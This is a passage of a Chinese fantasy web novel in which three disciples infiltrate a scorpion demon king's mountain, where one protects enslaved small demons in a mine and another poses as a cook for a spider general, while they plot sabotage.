猫抖了抖毛毛,把符纸藏在肚皮下,大声说:“师尊!我们一定不会给你丢脸的!等着我们的好消息吧!” 风朔笑着摆手:“去吧。” 于是师姐妹三个就带上装备,出发了。 衔蝉和阿琅只带了符纸,就藏在肚皮毛毛里,符纸自动贴附在她们的绒毛上,只要她们不翻肚皮,就没人能发现它。 风妧这次行动最不方便,所以她的装备也最多。 她把夜行衣换上,许久没用的罗盘也带上,镇魂铃也带上了。 反正这次她和衔蝉阿琅分头走,不用担心误伤,所以镇魂铃终于又可以派上用场了! 而且这段时间她跟着亲娘学了很多正儿八经的降妖师本领,她也很想实战试试看呢! 一个装备齐全的人和两个看似空着爪的妖,就这么连夜跑到了柿子山山下。 “到了,我们该分头走了,有事纸鹤联系!” 第67章 衔蝉跟师妹们分开走后, 来到了一片柿子林里。 这柿子山山如其名,山上有随处可见的柿子林,一走上山, 遍地都是柿子树。 这个季节柿子树果子还没成熟, 绿油油的挂在枝头,看着还怪喜庆的。 但要是看到在柿子树下拿着杆子, 唉声叹气的打青柿子的小妖,那画面就一点都不喜庆了。 衔蝉猫着腰, 借着草丛隐藏行踪,偷偷的观察了一下这片柿子林里的情况。 她发现,这林子里的小妖还不少。 并且一看就是被同一个妖王统一管理着的小妖,因为她们每一个的胸口都挂着一个蝎子形状的木牌。 这些带着蝎子木牌的小妖正在柿子林里摘果子。 她们有的抬着筐子,有的拿着杆子打果子, 有的负责来回运送摘满的大筐子,忙忙碌碌的。 衔蝉看着她们愁眉苦脸的把青柿子打下来又运走,心里还很疑惑。 这柿子压根没熟,摘下来能吃吗? 但现在没人能给猫解惑,于是衔蝉就躲在草丛里,继续观察。 林子里的小妖们并不知道有猫在观察自己, 她们还在努力的干活。 一个头顶长着羊角的小妖跟另一个小妖一起抬着装满青柿子的筐子从衔蝉藏身的草丛附近走过。 走到草丛边上时, 小羊妖不知道怎么回事,忽然踉跄了一下, 倒了下去。 她抬着的筐子顿时也跟着歪了,青柿子撒了一地。 小羊妖脸朝下倒在地上一动不动,跟她一起抬筐子的小妖则满脸惊慌的上前去推她。 “麦子!快起来!不然等会又要挨打了!” 她一边推小羊,一边手忙脚乱的把滚到地上的柿子往筐子里捡,神色非常慌张。 不一会, 让她如此惊慌的源头就出现了。 一个长得凶神恶煞,腰间挂着一个蝎子铁牌的蜈蚣妖拿着藤编朝小羊妖这边走来。 他边走边挥舞着鞭子大骂:“死羊!又偷懒!抬自己的吃食都这样懒怠,找打!” 说着就一鞭子抽到了小羊妖身上。 小羊妖的同伴吓得战战兢兢,抱着脖子缩在一边哆嗦着求饶:“先,先锋,她没有偷懒,她像是累昏过去了,求先锋开恩,饶她一回吧!” 蜈蚣先锋呸的一声吐出一口唾沫:“我呸!才干了几天的活就累昏过去了,哪有这样金贵的妖!” 他骂骂咧咧的又是几鞭子下去:“起来!再装昏老子打死你!” 但小羊妖被打得原型都出来了,也没醒。 她露出原型后,衔蝉才看清她身上皮毛杂乱,浑身都是鞭痕,并且瘦得一把骨头。 一看就是被长期折磨出来的样子。 可她都如此惨状了,那蜈蚣先锋却依旧踢打着她,想把她打起来干活。 小羊妖的同伴也因为帮她求情,照样挨了一顿打,打得她痛呼连连,周围却没有妖敢给她求情了。 林子里的众小妖不仅不敢给她们求情,甚至不敢多往这边看一眼。 所有小妖都惊恐而麻木的低着头,机械的打柿子,运柿子,头都不敢抬。 而她们身边,也有好几个跟蜈蚣妖一样腰间带蝎子铁牌,手里拿藤编的监工妖。 要是有谁敢“偷懒”,鞭子也会马上落到她身上。 因此小妖们即便心中再悲伤再恐惧,也不敢上前为同伴求饶。 蜈蚣妖打了好一会,把自己给打累了,这才停手。 他把鞭子折叠起来,别在腰间,然后看着奄奄一息的小羊妖,骂了一声“晦气!” 有个跟他一样的监工妖见状就笑他:“哟!要是又打死一只羊,少了个干活的,回头小心吃挂落哟!” 蜈蚣妖:“哼,不过一只小妖而已,她要是真死了,我就拿她的心肝去给金蟾大将军做汤吃,他未必会为了一只小妖责骂我!” 监工妖们顿时露出羡慕的神色。 因为蜈蚣妖是有点子背景的。 蝎妖王手下的金蟾大将,就是这蜈蚣妖巴结到的大背景。 也不知道蜈蚣妖是怎么贿赂的他,叫他对这蜈蚣妖很是欣赏,还提拔他做先锋。 有了这一层关系,蜈蚣妖平时可威风了。 别的监工都不敢轻易照死里打苦力小妖,怕打死了妖没妖干活,被上峰责骂,但蜈蚣妖就敢。 今天蜈蚣妖又险些打死了一个苦力小妖,他也丝毫不慌。 他还口出狂言:“便是都把这些小妖都打死了又怎的?大不了再去抓新的就是了!” 说着,他一脚踢开昏迷不醒的小羊妖,又叫她的同伴起来继续干活。 那小妖身上也还带着伤,但又不敢反抗,只得含着一泡热泪,咽下满腹心酸,重新去抬筐子。 小羊妖倒了,她一个妖抬不动装满青柿子的筐子,就只能咬牙拖着筐子走。 蜈蚣妖看着她拼尽全力的拖动筐子,看戏似的哈哈大笑,若是见她走慢了,还得给她也补上两鞭子。 这惨状看得衔蝉怒发冲冠。 但现在敌众我寡,她又在潜伏中,实在不好马上就暴露行踪。 思索片刻后,衔蝉将猫爪按在地上,叫藿麻从地底扎根,一路长到那蜈蚣妖脚下,狠狠的扎了他一下。 “哎哟!!什么鬼东西扎我来!” 蜈蚣妖大叫一声,捂着脚鬼哭狼嚎。 衔蝉把藿麻的毒刺拉满了,所以只是扎了一下,蜈蚣妖的脚就肿得比馒头还高了。 他瘸着一条腿,气得乱跳。 藿麻很快就被他发现了,但这种杂草山上随处可见,并不稀奇。 因此蜈蚣妖只当自己倒霉,抱着受伤的脚一边骂,一边又长出一条腿来支撑身体。 横竖他原型脚多,伤了一只也碍不着什么。 就是藿麻的毒刺扎在了他那只脚里不断的释放着毒液,疼得他嗷嗷大叫。 没办法,蜈蚣妖只能抱着伤腿回去找草药,竟就这么丢下了监工工作。 另外几个监工也见怪不怪的样子,并没有阻拦蜈蚣妖。 蜈蚣妖一走,先前挨打的小妖就松了一口气。 衔蝉继续躲在草丛里观察那几个监工妖。 要是他们也像蜈蚣妖那样欺压小妖的话,猫也不介意给他们安排同款藿麻大餐! 不过那几个没有背景的监工也没有蜈蚣妖那么嚣张,虽然也爱打骂小妖们,但勉强还算有分寸。 于是衔蝉努力克制着怒气,暂时没有明晃晃的找那几个监工的麻烦。 直到又有一个小妖倒下。 监工妖马上举起了鞭子。 “又来偷懒!死东西!起来干活!这么多柿子,你们不搬,谁来搬?!” 衔蝉这下忍不了了,她猛地从草丛里跳了出来。 “住手!别打她!她的柿子我来搬就是了!” 监工妖鞭子一顿:“哟呵?还有自己送上门来的?你跟她是什么关系?” 衔蝉腰板一挺,化作人形:“我是她朋友!你有什么事冲我来!” 监工妖笑了:“还挺讲义气!得,那她的活就你来干吧!要是干不完,我要你好看!” 衔蝉:“干就干!” 她单手拎着筐子,往肩上一扛。 另一个抬筐子的小妖都懵了。 她愣愣地拿着手中的竹杠,不知道该怎么办了。 衔蝉却轻松的掂了掂筐子,又对监工妖说:“我朋友的活我替她干了!你让她们去旁边休息!” 监工妖很稀奇的抬头仰望了一下衔蝉,围着她转了好几圈。 “吔!怪哉!竟有这样力气大的猫么!还长恁高!” 啧啧称奇一番后,监工妖像是也有几分好奇,竟真同意了衔蝉的话。 “行吧,只要你能帮她们干完活,让她们休息一会也要得!” 反正他们监工的目的就是为了督促小妖们干活,具体是谁干的,那不重要。 他们一松口,衔蝉马上又往另一边肩上扛了一筐柿子。 “喂!我现在干了四个妖的活,你们是不是该让四个妖休息休息?” 几个监工妖都来看稀奇了,纷纷点头:“你能干几个妖的活,我们就让几个妖休息!” 衔蝉二话不说,又用尾巴勾起一个筐子。 监工妖倒也说话算话,马上挥手,又让两个小妖暂时休息。 几个因为衔蝉得了休息机会的小妖缩在一起,怯生生的用感激的眼神看向衔蝉。 接下来衔蝉又给大家表演了一下什么叫力大无穷。 她一个猫扛筐子扛得飞起,不到半天,就把林子里所有的筐子给搬到附近的山洞里去了。 几个监工妖稀奇极了,当场就给了衔蝉一个蝎子木牌。 “好!果然有几分力气,是个干活的好手!这木牌你收着,以后就留在我们蝎子大王麾下干活吧!” 衔蝉也没拒绝,收下了木牌。 于是当天晚上,衔蝉就被安排到了苦力小妖们的“宿舍”里。 一个不大的山洞里挤满了法力不高的小妖,由于地方小,大家就只能变成原型挤挤挨挨的凑合过夜。 山洞外面还有大铁门,监工妖们把大家撵回山洞后就会在外面落锁,保证洞里的小妖一个都跑不掉。 等铁门落锁,监工妖都走后,山洞里的小妖们这才松了一口气。 然后大家都悄悄地往衔蝉身边挪。 今天因为有衔蝉在,大家都得了休息时间,因此大家都感激她。 白天帮小羊妖求情的是个松鼠妖,她胆子要大些,第一个靠近衔蝉,小声向她道谢。 “今天谢谢你呀,”随后又好奇问道:“你叫什么名字呀?你真的是白果的朋友吗?我怎么没见过你?” 白果就是第二个倒下的小妖。 衔蝉眼睛都不眨:“是啊!我叫衔闲不住,以前跟白果认识的。” 松鼠妖歪头想了想,然后跟衔蝉交换了名字:“我叫灰绒,闲不住,你好厉害呀。” 她一边说话,一边用干草盖住还在昏迷的白果和第一个倒下的小羊妖麦子。 山洞里什么都没有,大家能为同伴做的也只有这么多了。 衔蝉见状就上前帮白果和麦子检查伤势,又问:“灰绒,你们都是被抓来的吗?” 灰绒和大半小妖都含着泪水点头。 “是的,我们原本都是住在附近的妖。” 以前这里是黑獾的地盘,但黑獾看不上这些法力不高的小妖,因此她们就只能生活在柿子山的边缘地带。 偶尔运气好了,能暂时去柿子洞里打个杂,换点稍微好些的食物吃吃。 那时候她们过得艰辛,但好歹还勉强能过活。 可很快黑獾就被蛮牛打死了。 蛮牛也看不上这些底层小妖,便将她们全部撵走,让她们只能在附近流浪。 后来蛮牛也被降妖师打跑了,蝎妖王又来了。 本来小妖们以为这个蝎妖王也不会搭理她们的,没想到他却把她们给抓了。 被蝎妖王抓来之后,小妖们就被强迫着每天干苦力,日子过得苦不堪言。 “今天让我们摘柿子都算是休息了。” 灰绒抹了抹泪:“平时我们去采石头,那才累呢。” 采石头要去很深的大坑里,时不时还会有大石头滚落,要是运气不好,立时就会被砸死。 而且蝎妖王手下的先锋们一个比一个凶残,为了达成上峰给他们定的采石数量,就往死里压榨小妖们。 小妖们每天从日出干到日落,只在中午时给一顿残羹剩饭吃,并且一天的休息时间都没有。 “我们今天上午还在石头场干活,中午听到有妖说没有我们的吃食了,那几个先锋才让我们去摘青柿子的。” 所以下午的时候,她们就被“放了个假”,派去柿子林里摘青柿子了。 衔蝉一边给白果和麦子输送灵力疗伤,一边皱眉:“那些青柿子,就是你们以后的口粮?” 灰绒点点头:“是的。” 衔蝉:“那能吃吗!青柿子又酸又涩,就不能等熟了再摘吗!” 灰绒愁眉苦脸:“蝎子大王说要我们尽快采够石头,别的他都不管。” 据说他要集结大军去打几场仗,忙着囤兵呢,所以压根没有闲工夫管底层小妖们的死活。 他不管,他手下的妖将先锋也懒得管,一路推到最底层,小妖们没得东西吃,就只好去摘遍山的青柿子。 这事被管事的妖发现后,就献计说不如干脆就让底层小妖们都吃青柿子算了。 然后事情就发展成这样了。 青柿子成了小妖们唯一的口粮。 “今天收了柿子,明天还要继续去采石头呢。” 灰绒的尾巴都垂下来了:“也不知道明天我们还能不能活下来。” 衔蝉听得心里堵,只好安慰大家:“没事,明天我跟你们一起去采石头。” 正好让她去看看,那蝎子妖的矿洞在哪。 顺便再帮这些可怜的小妖们分担一些重活,好歹也叫她们好过一些。 想罢,衔蝉又问道:“那白果和麦子怎么办?” 灰绒啜泣了一声:“要是明天她们还活着,也得去干活。” 要是死了,就会被送去给那些残暴的大妖当下酒菜吃掉。 衔蝉听得毛都炸了:“他们还吃妖?!” “吃啊,怎么不吃。” 大岭山里,吃妖的妖多了去了。 不过有的是为了生存吃妖,有的是为了口腹之欲吃妖,蝎子妖和他的手下就属于后面那种。 所以山里的小妖们平时都活得如履薄冰。 衔蝉听得咬紧后槽牙,只恨不得马上就把蝎子妖这群恶妖给全部送上西天! 但现在她必须忍耐。 她要打听到更多的消息,才能更有把握。 好在现在她已经混进了柿子山,明天她再在石头场上多表现表现,不怕不能顺着这条线往上钻。 到时候她再好生收集消息,对付那蝎子妖! 衔蝉深吸一口气,继续不动声色的给白果和麦子输送灵力,帮她们稳住最后一口气。 至于明天,明天只要去了矿场,衔蝉再想办法让她们继续休息。 比如她试试看能不能混个小头目什么的这样她就可以光明正大的护着这些可怜的小妖们了。 并且做了小头目之后,她才有更多的机会往上打听消息去。 在心里合计了一番后,衔蝉顿时有了计较。 她耐心的安抚了一下洞里的小妖们,然后跟大家挤在一起睡了。 到了后半夜,所有小妖都睡熟之后,衔蝉猛地睁开了双眼。 铁门门缝里,一张扁扁的纸飘了进来。 衔蝉眼睛一亮,小心翼翼的从一地毛绒绒之间走过,叼起符纸叠成的纸鹤走到山洞角落里。 她把纸鹤按在爪下,然后歪着头用耳朵贴着纸鹤听声音。 纸鹤里果然传来一阵熟悉的声音。 是阿琅。 “大师姐,我现在已经在柿子洞里啦,我被抓去做烧火的了,你那边还好吗?” 因这次潜伏行动危机重重,阿琅不便叫大王或者衔蝉的名字,故而保险起见,她就改口直接叫大师姐了。 衔蝉收到她的消息,长舒了一口气。 小师妹也混进来了,而且很幸运的没有被抓去做苦力,甚好甚好。 她们师姐妹都已经成功潜入了,第一步就算是成功了。 衔蝉压低声音,对着纸鹤小声说了几句话,跟阿琅交待了自己如今的情况,并让她小心行事,有事再联系。 随后猫重新放开纸鹤,让它悄无声息的重新从门缝里飘了出去。 纸鹤飞走后,衔蝉并没有休息,而是继续等待风妧的纸鹤。 但她等了好长一段时间,也没等到下一只纸鹤。 猫顿时担心起来,风妧那边怎么样了?该不会遇到危险了吧? 与此同时,风妧那边。 她的确是遇到危险了。 正如胡图先前所说,蝎子妖手下众多,很不好靠近。 而且他还在满山都设置了不少岗哨,陌生妖都几乎寸步难行,更不用说陌生人了。 风妧带着一身装备,但却依旧走得困难重重。 她运气不好,这次选的方向偏偏都是蝎子妖手下的先锋妖将们的住处。 更要命的是,她好不容易躲开了那些巡逻的妖兵,却一脚踩进了一个陷阱里。 瞬间被陷阱大网网在树上吊起来的风妧:“” 这也太倒霉了吧! 但还有更倒霉的在后面呢。 巡逻的妖兵发现了她。 “有人!是人类!敌袭!” 几十个举着火把的妖兵在树下包围了风妧。 妖兵们还迅速通知了住得离这一片最近的某个妖将。 “玄蛛大将军!这个人类偷偷跑到了咱们的地盘上!咱们要怎么处置她?” 被唤作玄蛛大将军的妖将是个穿着一身黑衣的女妖,脸上还生着一双漆黑的复眼。 她抬头看风妧时,脸上没有任何表情,只有头顶的一对触角微微动了动。 风妧被那双泛着冷光的复眼看得起了一身鸡皮疙瘩。 玄蛛盯着她看了一会,随后开口问道:“你是降妖师?” 她咧开嘴角,露出一嘴锋利的尖牙:“降妖师跑来我们山上,是要给我们送菜?” 风妧没想到她居然还是个有见识的妖,居然一眼就认出了她身上的装备是属于降妖师的! 这可坏了! 降妖师闯到妖的地盘上,用脚指头想也不会有好下场的吧! 不行,她得想个办法蒙混过去! 风妧的脑筋急速转动起来,随后她灵光一闪。 “不不不!我可不是降妖师!大将军别误会!我其实是个厨子!” 既然这妖开口就是送菜,那她应该也挺喜欢吃的吧?那赌一把好了! 玄蛛头上的触角又动了动。 片刻后,她看向风妧腰间的罗盘和镇魂铃。 风妧连忙举起罗盘:“这个是捣蒜的!” 又拿镇魂铃比划一下:“这是擀面的!” 见玄蛛没说话,风妧马上又道:“大将军要是不信的话,我可以给你现场做顿饭试试!” 她一脸诚恳:“我们人类虽然不济,但在吃食方面还是很有些心得的,大将军要尝尝我们人类的特色美食吗?” 玄蛛闻言顿了顿。 “放她下来。” 妖兵们面面相觑,但又不敢违抗玄蛛的命令,只好将风妧从大网里放下来。 风妧一落地,众妖兵就拿起武器对准了她,生怕她逃跑。 但风妧不仅没跑,反而主动对玄蛛说道:“大将军,我准备好了!您就瞧好吧!您想吃什么?我给您做去!” 玄蛛又盯着她看了一会。 风妧被她盯着看的时候总觉得后背发麻,但这种时候她也只能硬着头皮上了。 “去拿些肉来,再叫个烧火的来。” 用复眼看了风妧好一会后,玄蛛这才吩咐妖兵们去准备食材和烧火的。 听到她的话,风妧顿时在心里长舒一口气。 她赌对了! 接下来就是展示厨艺的时间了!希望她能成功蒙混过这一关! 想起自己在东坡子洞里学会的大锅饭做法,风妧定了定神,暗中祈祷。 希望这群妖没吃过啥好的,一定要让她糊弄过去啊! 一会儿后,妖兵们果然带着一大篮子新鲜的肉过来了。 还顺便带来了柴火,和一个刚从打杂堆里揪出来的烧火小妖。 风妧:“” 她沉默了一瞬。 被逮来烧火的小妖也没吭声,只默默地抱着柴火站在那,眼里有些许茫然。 妖兵们却不管那么多,吆喝道:“柴火和肉都有了!你要做什么吃食就快动手吧!” 第68章 风妧没想到这些妖兵随手抓来一个烧火的小妖居然就是阿琅。 师姐妹两个对视一眼, 然后默契的移开了目光,假装不认识对方。 风妧扭开头就去问玄蛛:“大将军平时喜欢什么口味的吃食?甜的还是咸的?水煮的还是火烤的?” 玄蛛:“你做你拿手的。” 风妧:“得嘞!生火!” 阿琅一会就把火给生起来了。 这时候要是图方便,就可以拿着肉块直接上火烤了。 但风妧想起自己刚刚扯的谎, 决定把自己整得看上去专业点。 她又找玄蛛要了铁锅, 刀,砧板, 以及姜蒜之类的配菜。 “要是没有这些,做出来的吃食就不地道了。”风妧振振有词。 妖兵们顿时用很不耐烦的眼神看向风妧, 但玄蛛沉默了一会,居然又同意了风妧的请求。 妖兵们没办法,只好又去给风妧搬炊具配菜来。 这下风妧面前就有一个简陋的小厨房了,柴火上架着铁锅,铁锅旁边有铁刀和砧板, 还有一篮子配菜。 风妧撸起袖子,开始拿刀切肉,但心里却暗暗心惊。 这柿子山上,居然什么都有! 这些铁刀铁锅,玄蛛能这么轻易的拿出来,说明她们这个妖洞日常也在用这些东西! 而这又间接的说明了, 蝎子妖的这个妖洞不简单! 因为与此同时, 小一些的妖洞里还在茹毛饮血呢! 蝎子妖这边却已经过上了相当成熟的“文明”生活了! 风妧暗暗记下这事,准备回头跟衔蝉通通气。 不过现在她暂时没空, 她还得继续维持住她急中生智胡编出来的厨子身份。 她切下一块肉,剁成肉末,又剥了几瓣蒜,在阿琅疑惑的眼神中,抄起罗盘, 把蒜捣成了蒜末。 沉甸甸的罗盘,捣起蒜来还真挺好使,三两下就捣好了一堆蒜蓉。 要是不认识罗盘的人看了,说不定还真能把这玩意当成蒜臼子。 风妧捣完蒜,又把蒜蓉跟肉末混在一起,然后抄起镇魂铃,像擀面似的擀起了那一团蒜蓉肉末。 阿琅的眼神越发的茫然,但风妧却顾不上解释什么。 她做出一副天经地义的表情,仿佛镇魂铃生来就是用来擀肉末的厨具似的。 把肉末擀了好一会后,风妧又将擀成薄片的肉片子往锅里丢。 她这一套动作行云流水,乍一看还真有几分大厨风范。 玄蛛和妖兵似乎都被唬住了,半晌没吭声。 片刻后,风妧殷勤的打出一碗肉片汤,捧给玄蛛。 “大将军!独家秘制蒜蓉肉片汤好了!您试试!” 玄蛛接过那碗汤,端详了一会。 随后她端起汤碗,尝了一口肉片,喝了一口汤。 风妧马上期待的看着她。 玄蛛:“尚可。” 她放下碗,对风妧说道:“以后你就留下来专门给我做吃食吧。” 风妧:“!” 风妧立刻响亮的答道:“好嘞!多谢大将军提拔!” 玄蛛点点头,没再说什么,只让妖兵们给风妧一块蝎子木牌。 然后就将她带回了自己的洞府。 风妧半是激动半是忐忑的来到了玄蛛的洞府,偷偷的用余光打量了一下这里。 这个原本属于黑獾的柿子洞,如今已经易主,被蝎妖王拨给了玄蛛做洞府。 玄蛛没怎么改造这里,洞里原有的交椅和陈设她都没动,只新添了几个带岔路口的新洞口。 几个新洞口就像几间不同用处的房间一样,甚至连房门都有。 玄蛛把风妧带进洞里,随手指着一个小门说:“以后你就住那里。” 风妧:“好嘞!” 她上前推开门,发现这是一个空荡荡的石洞,洞里除了一张用蛛网吊起来的吊床之外什么都没有。 风妧倒也不挑,当即就爬上吊床,一副既来之则安之的坦然样。 玄蛛见状,便叫妖兵给她关了门,自己也转身休息去了。 吊床上,风妧竖着耳朵听外面的动静,听到玄蛛的脚步声走远了,她马上从床上坐了起来。 她蹑手蹑脚的跳下床,跑到门边,用耳朵贴着门板,确定门外完全没动静后,这才松了一口气。 随后她就掏出了传讯符纸,开始叠纸鹤。 不久后,衔蝉和阿琅终于收到了她的纸鹤,得知她也成功混进柿子山后,这才放心。 于是这一夜,师姐妹三个都大摇大摆的宿在了蝎子妖的地盘上。 第二天。 衔蝉早早醒来,发现身边的“工友”们也差不多都起床了。 不过跟衔蝉的自然醒不一样,小妖们几乎都是饿醒的。 白果和麦子也醒了,身上的伤也好多了。 她俩很不可置信的摸了摸自己身上恢复了不少的伤处,又听大家说是衔蝉救了自己,便来找她道谢。 白果还很认真的回忆了一下,自己什么时候有的这样厉害的朋友? 她翻遍了回忆,好像也没想起自己是啥时候认识了这个“闲不住”。 衔蝉一拍白果的肩:“嗐!那都是以前的事情了,那时候我跟现在也不太一样,你不记得了也正常。” 白果弱弱问道:“是,是吗?” 衔蝉肯定的点点头:“没关系,反正我记得你就行了嘛!” 她这么一说,白果反而不好意思起来,觉得自己忘记了从前的好朋友太不应该了。 而且顺着闲不住的话仔细想想,她在很久之前,似乎的确有过几个猫妖朋友? 白果很快就说服了自己,走过去蹭了蹭衔蝉。 “闲不住,我好像想起来了,都这么久了,你居然还记得我呀,还特意来救我,谢谢你。” 她叹气:“但是你不应该来的。” “你来了,也就走不了了。是我害了你。” 她很愧疚,觉得是自己把朋友拉下了水,害她也踏进了这个火坑。 但衔蝉却摸了摸她的毛毛,安慰道:“别这样想,万一我能在这里干一番事业呢?” 她说:“要是我能在蝎子大王手下混出头,那我就可以照拂大家了呀。” 小妖们一听就忍不住了,连忙跑到衔蝉身边,挤挤挨挨的去蹭她,哽咽着向她道谢。 大家都尽可能的贴近她,就好像找到了主心骨。 等到了监工妖打开铁门喊大家去干活的时候,衔蝉就被小妖们簇拥在了最中间。 监工妖见这情形,下意识的就举起了鞭子喝道:“凑那么挤做什么!都快点起来干活了!” 衔蝉一把抓住他的鞭稍:“少动手动脚的,有什么事你只管说就是了!” 监工妖被抓着鞭子,感觉被拂了面子,心里有点不高兴。 但一看衔蝉的人形比他高了那么多,又想起她那一身好力气,最终还是没说什么。 他默默地收回鞭子:“罢罢罢!只要你们能按时把活干完就成!” 今天蜈蚣妖还在养伤,没来,剩下的几个监工妖便带着苦力小妖们来到了矿场。 看着露天的大铁矿,衔蝉眼露精光。 好大的铁矿啊! 这要是拿下了,她们可就发了! 衔蝉一高兴,当场就扛起了铁锹,第一个跳到矿坑里,闷头凿矿。 小妖们一看她都下去了,顿时也有了无限的勇气,接二连三的跟着跳了下去,都不需要监工妖们催的。 于是监工妖们很满意的点了点头。 对嘛!干活积极点,他们也乐得偷懒来着! 矿坑里,衔蝉朝大家招了招手。 “大家来这边!我来凿矿,你们只负责搬运就好了!” 她力气大,凿矿又有经验,可以包揽这个活,这样小妖们就能安全一些,不至于被矿石砸死。 小妖们被迫凿了好些天的矿,哪里不知道衔蝉包揽的是最危险的活? 因此大家更感激衔蝉了。 白果等几个小妖还主动的扛起铁锹,要跟衔蝉一起凿矿,不让她一个妖面对危险。 但衔蝉板着脸把她们都撵去做相对轻松的搬运工了。 她自己扛着两把铁锹站在矿石前,左右开工的凿,没一会就凿下一大堆矿石来。 小妖们都惊了,衔蝉一个猫凿下来的矿石,比她们十个妖加在一起凿出来的还多! 而且她看上去还很轻松的样子! 小妖们仰着脑袋,看向衔蝉的眼神又多了一丝崇拜。 等衔蝉再安排她们按照身高分组搬运矿石的时候,所有小妖都没有任何异议,乖乖的按她的安排去做了。 就这样,在衔蝉的带领下,众小妖只花了半天,就干完了往日好几天的活。 她们开凿搬运出来的矿石,足够铁匠们用好几天的了。 监工妖们都惊讶极了。 但更多的还是高兴。 因为有这个主动送上门来的闲不住在,他们管矿场的妖就再也不用因为开凿速度慢而被上峰责骂了! 有了这层缘故,监工妖们看衔蝉的眼神都友善了几分。 中午放饭时,衔蝉还比别的小妖多分到几个青柿子。 “喏,你今天干得好,这是奖励你的,日后也要像这样好好干,记住没有?” 监工妖和颜悦色地对衔蝉说道。 衔蝉:“只要你们以后别天天打妖,我每天都能带着她们干这么多的活。” “晓得了,以后我们不打她们就是了。”监工妖一下子变得很好说话的样子。 衔蝉又道:“这些青柿子麻嘴,难吃,我要带她们去烧熟了吃。” 监工妖看着堆在矿场边的大堆矿石,点了点头。 “好吧,你去吧,但下午的活还得回来继续干,可不许偷懒啊。” 衔蝉:“知道了。” 随后她就果真带着小妖们去捡柴火烧柿子吃了。 烧熟了的青柿子还是酸涩,但至少不硌牙不麻嘴了,而且热乎乎的,吃下去胃里也会舒服些。 小妖们在这里干了这么久的苦力活,头一回吃到这样好吃的青柿子,一个个眼泪汪汪的。 她们还从自己的牙缝里省出了最热乎的柿子芯,给衔蝉。 “闲不住,要不是你在的话,今天上午我们也得挨打呢,谢谢你呀。” “这些柿子芯最管饱的,都给你。” 衔蝉看着她们饿得面黄肌瘦却依然要把柿子芯给自己的样子,心里是既酸涩又心疼。 但她没有拒绝小妖们的柿子芯。 她接过这些饱含了小妖们的感情的柿子芯,三两口塞嘴里,大口吃完。 同时她心里也更坚定了要早日摸清蝎子妖这边的情况,好弄死他,救出这些小妖! 之后她又带着小妖们回矿场干活,再跟大家一起回山洞休息。 这一天下来,衔蝉在小妖们的心里的地位又往上窜了好几层。 到晚上的时候,小妖们还主动的去给她揉肩膀,捏猫腿。 衔蝉看着大家亮晶晶的眼神,想了想,轻声问道:“你们有没有想过以后要做什么呀?” 小妖们齐声答道:“以后就跟着你呀!” “你叫我们做什么,我们就做什么!” 衔蝉:“那你们不怕我带着你们干坏事吗?” 小妖们齐刷刷摇头:“跟着你,干坏事也不怕的!” 她们心思很单纯,被衔蝉罩着救了两天后,就发自内心的把她当做头领了。 而她们的追求其实也很简单,只是想有口饭吃,有个地方睡觉,不要再被撵去流浪天天挨打而已。 可就是这么简单的愿望,放在以前也是遥不可及的。 现在却不一样了。 闲不住的到来,让大家看到了希望。 小妖们没什么文化,也不懂太深奥的东西,但她们打心底里觉得,闲不住是个有本事的妖,都愿意跟随她。 有的小妖还偷偷的想,要是闲不住是她们的大王就好了。 有这样好的大王,是多少小妖只敢在梦里想的好事啊。 衔蝉在小妖们满是信任和依赖的眼神中站了起来。 “好!既然如此,那我带大家干一番大事,你们敢不敢?” 小妖们:“敢!” 随后又问:“是什么大事呀?” 衔蝉拍爪:“很快你们就知道了!” 小妖们不懂,但听话。 接下来的几天,衔蝉借着挖矿和中午捡柴火烧柿子的机会,基本上摸清了整个柿子山上的所有矿场的位置。 并且一口气为矿场凿了几座矿石山出来。 看着那么多的矿石,监工妖们脸都笑烂了。 这几天他们因为送去冶炼的矿石多到铁匠都用不完,还被上峰夸了几次呢! 也因为这个,监工妖们对衔蝉越发的和颜悦色,还让她做了所有苦力小妖的头头。 这个小头目的权利不太大,但足够让衔蝉护着小妖们,并且拥有一定的自由了。 而与此同时,风妧和阿琅那边也传来了好消息。 风妧成功靠着嘴皮子和厨艺成了玄蛛跟前的红人,阿琅也因为烧火烧得好当上了灶头。 师姐妹三个都有了一定的自由后,便用纸鹤约了个时间碰了个头。 “我跟着玄蛛,已经见过另外几个妖将了!对他们的脾气秉性也了解了一些!” 一见面,风妧就迫不及待的跟衔蝉和阿琅分享消息。 “除了玄蛛之外,蝎子妖手下还有一个金蟾大将军,一个竹叶青大将军,一个千足大将军。” “那三个都是男妖将,据说很有些本事,但具体有什么本事,我还得再打听打听。” 衔蝉问:“那玄蛛呢?” 风妧:“我觉得玄蛛有点奇怪嗯,我有一个猜测,但还没啥证据,我再观察观察她。” “什么猜测?” “这个现在还不好说,但我觉得,玄蛛或许有可能成为我们的突破口。” 阿琅:“你要给玄蛛下毒吗?” “那我可以帮忙!我现在是灶头,可以掩护你!” 风妧摇摇头:“不不不,不是下毒,玄蛛自己就有毒囊,下毒对她不一定好使。” 衔蝉摸了摸下巴:“那你打算怎么对付她?” 风妧:“我暂时不打算对付她。” 衔蝉和阿琅:“啊?” 风妧:“嗯,这个说来话长,但我觉得或许我们可以试试,用玄蛛对付另外三个男妖将。” 衔蝉:“嘶!他们要起内讧了吗?还有这种好事?” “那你一定要帮玄蛛啊!咱们先给他们来个各个击破!” 风妧点点头:“我就是这么想的。” 但具体要怎么做,她还得再琢磨琢磨。 而且玄蛛的意思,她也得再揣摩揣摩,她总觉得她有点难以捉摸。 “对了,你们那边怎么样?打听到什么消息没有?” 衔蝉:“我现在在矿场做小头目,手下有一群苦力小妖。” “监工妖和管事妖都看不起我们,但我觉得我正好可以利用这一点。” 猫决定让那些高高在上的家伙见识一下什么叫群众的力量。 “我们这几天采的矿石已经够用很久了,所以接下来,他们打算把我们安排去打铁。” “到时候,我就在他们的生铁里动点手脚,让他们的下一批武器都变成只能看不能用的废铁!” 风妧和阿琅立刻开始鼓掌。 “好!要是能把他们的武器废掉,他们的战斗力一定会大减!到时候咱们动起手来胜算也更多!” “阿琅,你那边呢?” 阿琅:“我可以给他们下毒!” 现在她是灶头,要想在饭菜里动手脚非常方便。 “等到咱们动手的时候,你们跟我说一声,我就在饭菜里下毒,能毒翻多少是多少!” 衔蝉和风妧闻言大喜:“好!阿琅,这个位置你一定要坐稳喽!到时候咱们来个里应外合!” 衔蝉还当场召唤出藿麻,并且把它的毒刺里面的毒液挤出来,交给阿琅。 “这个你先拿着,到时候就下在他们的饭菜里,让他们肚子痛死!” 阿琅:“好的!” 师姐妹三个分享完消息,又商量了一下接下来的行动后,就又分头走了。 